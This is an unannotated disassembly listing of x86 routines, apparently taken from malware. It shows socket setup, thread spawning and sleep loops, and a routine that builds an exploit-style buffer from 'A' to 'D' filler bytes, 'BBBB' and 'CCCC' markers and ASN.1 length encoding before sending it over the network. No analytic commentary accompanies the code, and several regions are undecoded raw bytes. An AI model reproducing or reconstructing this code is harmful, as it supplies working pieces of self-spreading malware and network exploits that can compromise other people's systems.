lea eax, [ebp+var_28C]
push offset unk_432144
push eax
call sub_41B886
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C254
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40C248
lea eax, [ebp+var_140]
loc_40C248: ; CODE XREF: sub_40C125+11Bj
push eax
push [ebp+var_40]
call sub_409A73
add esp, 14h
loc_40C254: ; CODE XREF: sub_40C125+100j
lea eax, [ebp+var_28C]
push eax
call sub_4151AD
mov [esp+29Ch+var_29C], offset dword_4CD7A0
nop
call near ptr 77F7E300h
jmp loc_40C31E
; ---------------------------------------------------------------------------
loc_40C272: ; CODE XREF: sub_40C125+D0j
push edi
call dword_4CB6E0
push eax
lea eax, [ebp+var_208]
push eax
call sub_41B886
mov eax, [ebp+var_20]
pop ecx
shl eax, 6
pop ecx
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41B886
cmp [ebp+var_C0], 0
pop ecx
pop ecx
lea eax, [ebp+var_C0]
jnz short loc_40C2B7
lea eax, [ebp+var_140]
loc_40C2B7: ; CODE XREF: sub_40C125+18Aj
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41B886
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_431B04[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C31E: ; CODE XREF: sub_40C125+C6j
; sub_40C125+148j
push 7D0h
nop
call near ptr 26A0F44h
jmp loc_40C16C
; ---------------------------------------------------------------------------
loc_40C32E: ; CODE XREF: sub_40C125+55j
push esi
call sub_40B413
pop ecx
push 0
call near ptr 2710000h
nop
loc_40C33D: ; DATA XREF: sub_401ACD+1F82o
; sub_401ACD+5C49o
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4CB694
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4CB7A0[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40BACE
push 0Bh
call sub_40B33F
add esp, 150h
cmp eax, ebx
jnz short loc_40C40B
mov esi, offset dword_4CD7A0
push esi
nop
call near ptr 2710726h
push 80000400h
push esi
nop
call near ptr 27105B2h
test eax, eax
jnz short loc_40C40B
lea eax, [ebp+var_1CC]
push offset unk_432250
push eax
call sub_41B886
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40C3F5
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409A73
add esp, 14h
loc_40C3F5: ; CODE XREF: sub_40C125+2B1j
lea eax, [ebp+var_1CC]
push eax
call sub_4151AD
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C40B: ; CODE XREF: sub_40C125+27Bj
; sub_40C125+297j
mov eax, [ebp+var_2C]
mov esi, dword_427078
mov edi, ebx
mov dword_4CB7A4[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40C4D8
loc_40C429: ; CODE XREF: sub_40C125+3ADj
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_43221C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_40B0F7
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_43E594[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40C125
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40C4A3
loc_40C498: ; CODE XREF: sub_40C125+37Cj
cmp [ebp+var_4], ebx
jnz short loc_40C4CA
push 1Eh
call esi
jmp short loc_40C498
; ---------------------------------------------------------------------------
loc_40C4A3: ; CODE XREF: sub_40C125+371j
nop
call near ptr 26B0857h
push eax
lea eax, [ebp+var_1CC]
push offset unk_4321E4
push eax
call sub_41B886
lea eax, [ebp+var_1CC]
push eax
call sub_4151AD
add esp, 10h
loc_40C4CA: ; CODE XREF: sub_40C125+376j
push 1Eh
call esi
inc edi
cmp edi, [ebp+var_20]
jbe loc_40C429
loc_40C4D8: ; CODE XREF: sub_40C125+2FEj
cmp [ebp+var_30], ebx
jz loc_40C582
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi
loc_40C4ED: ; CODE XREF: sub_40C125+468j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4CB7A0[eax*8]
push eax
call dword_4CB6E0
push eax
lea eax, [ebp+var_1CC]
push offset unk_4321A4
push eax
call sub_41B886
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40C53B
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409A73
add esp, 14h
loc_40C53B: ; CODE XREF: sub_40C125+3F7j
lea eax, [ebp+var_1CC]
push eax
call sub_4151AD
mov eax, [ebp+var_2C]
mov [esp+29Ch+var_29C], 0BB8h
mov dword_4CB7A4[eax*8], ebx
call esi
push 0Bh
call sub_40B33F
cmp eax, 1
pop ecx
jnz short loc_40C572
push offset dword_4CD7A0
nop
call near ptr 2710726h
loc_40C572: ; CODE XREF: sub_40C125+440j
push [ebp+var_2C]
call sub_40B413
pop ecx
push ebx
call near ptr 2710000h
nop
loc_40C582: ; CODE XREF: sub_40C125+3B6j
; sub_40C125+475j
mov eax, [ebp+var_2C]
cmp dword_4CB7A4[eax*8], 1
jnz loc_40C4ED
push 7D0h
call esi
jmp short loc_40C582
sub_40C125 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C59C proc near
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_4CB654
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4CB6D4
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C65A
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CB5FC
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_43E59C[ecx], esi
jz short loc_40C65A
push [ebp+var_38]
push [ebp+var_28]
call dword_4CB6E0
push eax
mov edi, offset dword_4CE164
push offset dword_432284
push edi
call sub_41B886
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_409A73
push edi
call sub_4151AD
add esp, 28h
loc_40C65A: ; CODE XREF: sub_40C59C+5Dj
; sub_40C59C+7Ej
push esi
call dword_4CB6EC
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40C59C endp
; ---------------------------------------------------------------------------
byte_40C669 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+603Fo
dd 134EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 4CBD8D59h
dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
dd 75FFD075h, 0E015FFE0h, 50004CB6h, 0FECC858Dh, 0AC68FFFFh
dd 50004322h, 0F1D1E8h, 0CC858D00h, 68FFFFFEh, 1FFh, 0DC458B50h
dd 234C069h, 90050000h, 500043E3h, 0EF1BE8h, 1CC48300h
dd 50F8458Dh, 0FF4C858Dh, 5057FFFFh, 40C59C68h, 0E8575700h
dd 22A3910h, 89C73B90h, 0B74FC45h, 75F47D39h, 0FF326A06h
dd 0FFF5EBD6h, 0E890FC75h, 2284228h, 8CB3FFh, 0BB890000h
dd 0A8h, 458DD6FFh, 50046AE0h, 5008458Dh, 0FBE7E8h, 0CC48300h
dd 0FF0875FFh, 4CB57C15h, 89504000h, 15FF0845h, 4CB650h
dd 8D084589h, 46A0845h, 0E0458D50h, 0FBBEE850h, 0C4830000h
dd 0FF3DE90Ch
db 2 dup(0FFh)
word_40C75A dw 8B55h ; DATA XREF: sub_401ACD+5D4Fo
dd 30EC81ECh, 53000001h, 56085D8Bh, 8B2B6A57h, 0BD8D59F3h
dd 0FFFFFF50h, 358BA5F3h, 427078h, 0A483C7h, 10000h, 0FF330000h
dd 0FFD475FFh, 15FFE475h, 4CB6E0h, 0D0858D50h, 68FFFFFEh
dd 432300h, 0F0E0E850h, 858D0000h, 0FFFFFED0h, 1FF68h
dd 458B5000h, 34C069E0h, 5000002h, 43E390h, 0EE2AE850h
dd 0C4830000h, 0FC458D1Ch, 50858D50h, 57FFFFFFh, 0C59C6850h
dd 57570040h, 2A381FE8h, 0C73B9002h, 74084589h, 0F87D390Bh
dd 326A0675h, 0F5EBD6FFh, 0E80875FFh, 2284138h, 8CB3FF90h
dd 89000000h, 0A8BBh, 8BD6FF00h, 453BD445h, 0FF0874D8h
dd 6DE9D445h, 0FFFFFFFFh, 15FFE475h, 4CB6E0h, 0D0858D50h
dd 68FFFFFEh, 4322D4h, 0F050E850h, 8D570000h, 0FFFED085h
dd 0EC75FFFFh, 54858D50h, 50FFFFFFh, 0FF50B5FFh, 20E8FFFFh
dd 0FFFFFFD2h, 0B8E8E075h, 83FFFFEBh, 0C03324C4h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn 4
; =============== S U B R O U T I N E =======================================
sub_40C867 proc near ; CODE XREF: sub_40CADB+Ep
; sub_40CADB+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40C867 endp
; =============== S U B R O U T I N E =======================================
sub_40C871 proc near ; CODE XREF: sub_40CADB+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_41B4D5
mov edi, eax
pop ecx
test edi, edi
jz short loc_40C8A3
push ebx
push 0
push edi
call sub_41B590
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_41C310
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40C8A3: ; CODE XREF: sub_40C871+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40C871 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C8AB proc near ; CODE XREF: sub_40C9A5+18p
; sub_40CA1F+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
jz short loc_40C8F7
push edi
push 0
push esi
call sub_41B590
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_41C310
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41C310
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40C8F7: ; CODE XREF: sub_40C8AB+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40C8AB endp
; =============== S U B R O U T I N E =======================================
sub_40C900 proc near ; CODE XREF: sub_40C9A5+5Ep
; sub_40C9A5+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40C910
push eax
call sub_41B0B1
pop ecx
loc_40C910: ; CODE XREF: sub_40C900+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40C900 endp
; =============== S U B R O U T I N E =======================================
sub_40C919 proc near ; CODE XREF: sub_40C9A5+20p
; sub_40CA80+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40C946
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_41B4D5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C94A
loc_40C946: ; CODE XREF: sub_40C919+Dj
xor al, al
jmp short loc_40C9A1
; ---------------------------------------------------------------------------
loc_40C94A: ; CODE XREF: sub_40C919+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_41B590
add esp, 0Ch
cmp ebx, 1
jnz short loc_40C96F
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40C989
; ---------------------------------------------------------------------------
loc_40C96F: ; CODE XREF: sub_40C919+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40C989: ; CODE XREF: sub_40C919+54j
push eax
call sub_41C310
add esp, 0Ch
push dword ptr [esi]
call sub_41B0B1
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40C9A1: ; CODE XREF: sub_40C919+2Fj
pop edi
pop esi
pop ebx
retn
sub_40C919 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C9A5 proc near ; CODE XREF: sub_40CADB+89p
; sub_40CADB+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_4CB50C
call sub_40C8AB
lea ecx, [ebp+var_8]
call sub_40C919
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41B4D5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C9DF
xor al, al
jmp short loc_40CA1B
; ---------------------------------------------------------------------------
loc_40C9DF: ; CODE XREF: sub_40C9A5+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41B590
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_41C310
add esp, 18h
mov ecx, esi
call sub_40C900
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40C900
mov al, 1
loc_40CA1B: ; CODE XREF: sub_40C9A5+38j
pop edi
pop esi
leave
retn
sub_40C9A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA1F proc near ; CODE XREF: sub_40CA53+14p
; sub_40CA70+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40C8AB
mov ecx, esi
call sub_40C900
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40CA1F endp
; =============== S U B R O U T I N E =======================================
sub_40CA53 proc near ; CODE XREF: sub_40CADB+F0p
; sub_40CADB+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41AFE0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40CA1F
pop esi
retn 4
sub_40CA53 endp
; =============== S U B R O U T I N E =======================================
sub_40CA70 proc near ; CODE XREF: sub_40CABC+Bp
; sub_40CADB+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40CA1F
retn 8
sub_40CA70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA80 proc near ; CODE XREF: sub_40CABC+16p
; sub_40CADB+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40C919
test al, al
jz short loc_40CAB9
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42CFE4
call sub_40C8AB
mov ecx, esi
call sub_40C900
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40CAB9: ; CODE XREF: sub_40CA80+Fj
pop esi
leave
retn
sub_40CA80 endp
; =============== S U B R O U T I N E =======================================
sub_40CABC proc near ; CODE XREF: sub_40CADB+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40CA70
test al, al
jz short loc_40CAD7
mov ecx, esi
call sub_40CA80
loc_40CAD7: ; CODE XREF: sub_40CABC+12j
pop esi
retn 8
sub_40CABC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CADB proc near ; CODE XREF: ___:0040D362p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40C867
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40CE2F
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40CE2F
push esi
lea ecx, [ebp+var_30]
call sub_40C867
lea ecx, [ebp+var_20]
call sub_40C867
lea ecx, [ebp+var_50]
call sub_40C867
lea ecx, [ebp+var_18]
call sub_40C867
lea ecx, [ebp+var_40]
call sub_40C867
lea ecx, [ebp+var_38]
call sub_40C867
lea ecx, [ebp+var_28]
call sub_40C867
push 4
push offset dword_432338
lea ecx, [ebp+var_30]
call sub_40CA1F
push 3
push offset dword_432340
lea ecx, [ebp+var_30]
call sub_40CA1F
lea ecx, [ebp+var_30]
call sub_40C9A5
lea ecx, [ebp+var_30]
call sub_40CA80
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41B590
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40CA1F
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40CA1F
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40CA1F
lea ecx, [ebp+var_20]
call sub_40C9A5
push offset loc_4326BC
lea ecx, [ebp+var_50]
call sub_40CA53
lea ecx, [ebp+var_50]
call sub_40C9A5
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40C871
lea ecx, [ebp+var_58]
call sub_40C9A5
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40CABC
lea ecx, [ebp+var_58]
call sub_40C900
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41B590
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40CA53
push 4
push offset dword_432344
lea ecx, [ebp+var_18]
call sub_40CA1F
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40CA1F
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40CA1F
lea ecx, [ebp+var_18]
call sub_40C9A5
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40CA70
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40CA70
lea ecx, [ebp+var_40]
call sub_40CA80
lea ecx, [ebp+var_18]
call sub_40C900
lea ecx, [ebp+var_50]
call sub_40C900
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40CA70
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40CA70
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40CA70
lea ecx, [ebp+var_38]
call sub_40CA80
lea ecx, [ebp+var_20]
call sub_40C900
lea ecx, [ebp+var_30]
call sub_40C900
lea ecx, [ebp+var_40]
call sub_40C900
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40CA1F
lea ecx, [ebp+var_28]
call sub_40C9A5
push 2
push offset dword_4326B0
lea ecx, [ebp+var_28]
call sub_40CA1F
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40CA70
lea ecx, [ebp+var_28]
call sub_40CA80
lea ecx, [ebp+var_38]
call sub_40C900
lea ecx, [ebp+var_10]
call sub_40C867
lea ecx, [ebp+var_8]
call sub_40C867
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40CA70
lea ecx, [ebp+var_10]
call sub_40C919
lea ecx, [ebp+var_28]
call sub_40C900
push offset dword_4326AC
lea ecx, [ebp+var_8]
call sub_40CA53
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CA70
lea ecx, [ebp+var_8]
call sub_40C919
lea ecx, [ebp+var_10]
call sub_40C900
push offset dword_4326A8
lea ecx, [ebp+var_10]
call sub_40CA53
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40CA70
lea ecx, [ebp+var_10]
call sub_40C919
lea ecx, [ebp+var_8]
call sub_40C900
push offset dword_43269C
lea ecx, [ebp+var_8]
call sub_40CA53
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CA70
lea ecx, [ebp+var_8]
call sub_40C919
lea ecx, [ebp+var_10]
call sub_40C900
push (offset loc_432697+1)
lea ecx, [ebp+var_48]
call sub_40CA53
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40CA70
lea ecx, [ebp+var_8]
call sub_40C900
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40CE3D
; ---------------------------------------------------------------------------
loc_40CE2F: ; CODE XREF: sub_40CADB+1Bj
; sub_40CADB+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40CE3D: ; CODE XREF: sub_40CADB+352j
pop edi
pop ebx
leave
retn
sub_40CADB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE41 proc near ; CODE XREF: sub_40CF05+A1p
; sub_40CF05+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call near ptr 71AB1890h
nop
cmp eax, edi
jnz short loc_40CEA8
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426756
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_40CEAC
loc_40CEA8: ; CODE XREF: sub_40CE41+54j
xor eax, eax
jmp short loc_40CEBC
; ---------------------------------------------------------------------------
loc_40CEAC: ; CODE XREF: sub_40CE41+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CB66C
loc_40CEBC: ; CODE XREF: sub_40CE41+69j
pop edi
pop esi
leave
retn
sub_40CE41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CEC0 proc near ; CODE XREF: sub_40CF05+81p
; sub_40CF05+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4CB650
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4CB6A4
cmp eax, 4
jz short loc_40CEEA
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40CEEA: ; CODE XREF: sub_40CEC0+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4CB6A4
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40CEC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CF05 proc near ; CODE XREF: sub_40CFDF+48p
; ___:0040D453p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40CF2E
xor al, al
jmp loc_40CFDA
; ---------------------------------------------------------------------------
loc_40CF2E: ; CODE XREF: sub_40CF05+20j
push ebx
push 0
push esi
call sub_41B590
push 2Fh
push offset dword_4323D4
push esi
call sub_41C310
push 8
lea eax, [esi+31h]
push offset dword_432404
push eax
mov [esi+2Fh], di
call sub_41C310
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_41C310
push 6
add ebx, edi
push offset dword_4CE36C
push ebx
call sub_41C310
mov ebx, [ebp+arg_0]
push 85h
push offset dword_43234C
push ebx
call sub_40CEC0
add esp, 48h
test al, al
jnz short loc_40CF96
loc_40CF92: ; CODE XREF: sub_40CF05+B5j
xor bl, bl
jmp short loc_40CFD1
; ---------------------------------------------------------------------------
loc_40CF96: ; CODE XREF: sub_40CF05+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40CE41
push [ebp+var_4]
push esi
push ebx
call sub_40CEC0
add esp, 1Ch
test al, al
jz short loc_40CF92
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40CE41
add esp, 10h
mov bl, 1
loc_40CFD1: ; CODE XREF: sub_40CF05+8Fj
push esi
call sub_41B0B1
pop ecx
mov al, bl
loc_40CFDA: ; CODE XREF: sub_40CF05+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40CF05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CFDF proc near ; CODE XREF: ___:0040D439p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_432410
push [ebp+arg_0]
call near ptr 71AB1AF4h
nop
cmp eax, 48h
jnz short loc_40D01A
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40CE41
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40D01A
cmp [ebp+var_20], 82h
jz short loc_40D01E
loc_40D01A: ; CODE XREF: sub_40CFDF+1Bj
; sub_40CFDF+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
